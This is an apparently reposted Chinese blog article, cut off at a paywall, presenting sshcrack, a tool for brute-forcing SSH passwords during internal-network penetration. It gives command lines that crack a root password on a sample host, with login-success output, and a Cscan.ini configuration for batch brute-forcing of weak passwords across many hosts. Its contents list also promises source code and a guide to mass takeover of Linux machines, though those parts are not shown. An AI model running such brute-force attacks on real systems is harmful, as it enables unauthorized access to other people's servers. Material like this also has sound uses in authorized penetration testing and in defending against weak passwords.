[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

最新推荐文章于 2025-03-20 11:02:41 发布

weixin_30414245

最新推荐文章于 2025-03-20 11:02:41 发布

阅读量2.4k

点赞数 1

文章标签：运维操作系统 python

原文链接：http://www.cnblogs.com/k8gege/p/10995625.html

版权

本文介绍了sshcrack，一个用于内网和外网SSH密码爆破的工具，配合Cscan进行批量弱口令检测。内容包括sshcrack的用法、批量检测、执行命令、源码解析以及Linux批量上控的教程，同时探讨了Python程序的跨平台问题。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x000 前言

sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测

当然也可用于外网SSH密码爆破，支持Windows/Linux,其它系统未测。Tip1

0x001 目录

1.sshcrack用法

2.Cscan批量扫描

3.连接SSH执行命令

4.sshcrack源码

5.SSH批量上控

6.工具下载

0x002 用法

指定SSH服务器密码检测

弱口令检测 (-crack 用户密码可随便写，因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK

单密码验证 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK

0x003 批量SSH服务器密码检测

0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录

Cscan.ini内容如下

1.爆破弱口令(当前无密码或已获取多个帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack

2.验证一个已知密码（快速检测内网其它机器是否使用同一帐密）

[Cscan]
exe=sshcr

最低0.47元/天解锁文章